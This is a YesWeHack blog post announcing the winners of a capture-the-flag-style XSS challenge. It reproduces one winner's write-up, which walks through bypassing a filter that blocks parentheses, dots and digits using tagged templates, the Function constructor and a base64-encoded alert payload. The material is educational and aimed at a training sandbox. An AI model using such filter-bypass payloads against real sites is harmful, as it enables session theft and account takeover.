DOJO CHALLENGE #5 Winners!

September 12, 2020

The #5th DOJO CHALLENGE was the hardcore mode variation of the #3rd challenge: triggering an XSS payload restricted to a very short array of usable characters, notably forbidding the use of parenthesis, numbers and dots.

Wait, what? You don’t know the DOJO yet?

The YesWeHack DOJO is a visual exploitation environment and training platform geared towards learning bug exploitation the fun and visual way. You can even create your own challenges there!

Introducing the YesWeHack DOJO

The DOJO is three things in one: a learning tool, training platform and a playground.

The DOJO is the arena where the 4th challenge took place (see the announcement here).

WINNERS!

We are glad to announce the #5 DOJO Challenge winners list.

5 FIRST SOLVES (in order)

Eboda ( in just 2 hours including lunch 😉
ivarsvids
Jomar
pinta
RenwaX23

5 BEST WRITE-UP REPORT

efernandes
Icare
Eboda
ivarsvids
Jomar

Subscribe to our Twitter or Linkedin feeds to be notified of the upcoming challenges.

Read on to find the best write-up as well as the challenge author’s recommendations.

The challenge

You had two possible input to inject malicious code: $age is limited to 2 characters, while $name is heavily filtered with a regex limiting usage payload to Alpha + $ + ` + { or } + / characters only. No parenthesis or dot allowed, somewhat disorienting for Js ;/

See the challenge page >

We also asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

  • Ensure no copy-paste would occur.
  • Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

BEST WRITE-UP REPORT

EFERNANDES Report was particularly efficient in detailing the exploitation logic, we thus decided to reproduce it in here

For clarity we publish a single report, making a choice was hard.

Thank you!

EFERNANDES‘s Write-Up

Description

Cross-site scripting (XSS) is a vulnerability that allows an attacker to run JavaScript in a victim browser context. The attacker can thus leverage it to take action on behalf of the victim. Most of the time, an XSS allows to steal a session and to take over an account.

As per the description of the challenge, the goal is to trigger an XSS in the DOJO Playground using two parameters: $age and $name.

Exploitation

This new challenge has a more restrictive filter in $name filter. Only a very limit number of characters are accepted:

  • a single character in the range between a (index 97) and z (index 122) (case-insensitive)
  • matches a single character in the list $``{}/

We can not use the . (dot) and parentheses () that are needed to call a function or access an object property.

First I try to adapt the strategy used by SAPIC, but I am stuck with the lack of some characters 🙁

After to take a break, I see the light… Maybe I can use Tagged templates. Now I can call the alert, but can not access to window.name.

const age = `
const name = "${alert`test`}`//"
if (age > 18 && name.length ){
  document.write(`Welcome to my adult website ${name} 8=D`)
} else {
  document.write(`Go away`)
}

Now I need to find a way to exec alert(window.name).

Let’s look to the Tagged templates again. Tags allow you to parse template literals with a function. The first argument of a tag function contains an array of string values. The remaining arguments are related to the expressions.

const myTag = function(strings, exp1, exp2) {
   console.log('strings:', strings);
   console.log('exps:', exp1, exp2);
}

myTag`foo${2+2}bar${3+3}`
// Output:
//   strings: ['foo', 'bar']
//   exps: 4, 6

myTag`${2+2}`
// Output:
//   strings: ['', '']
//   exps: 4

I need to find a way to handle the first parameter array!

Maybe we can use Function… We can try to pass the array as the first parameter and the implementation in the last parameter. I also tried to use the eval, but it always returns an array (the same that we pass by parameter) and do not exec the code.

Normally, we create a new instance of Function with the new keyword, but we can not use the character (space). The alternative is to create the function and call it:

Function`a${'alert`test`'}`()

But we can not use the parenthesis character. The alternative is to call the function as tag template:

Function`a${'alert`test`'}```

Now how can we show the window.name?

The solution that I found was to use base64 and use the function atob to decode it before pass it to the Function. First I encode the payload alert(window.name) but the result contained numbers, so I tried to encode only alert(name) that it only contained letters YWxlcnQobmFtZSk. We can use only name because of the window is the global scope.

So, lets try it:

const age = `
const name = "${Function`a${atob`YWxlcnQobmFtZSk`}b``null`}`//"
if (age > 18 && name.length ){
  document.write(`Welcome to my adult website ${name} 8=D`)
} else {
  document.write(`Go away`)
}

PoC

BitK’s Editor note

BitK is the Technical Ambassador at Yes We Hack. He also created the DOJO and this challenge.

If you want to learn more about template literal in javascript, you can read this well detailed article on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals.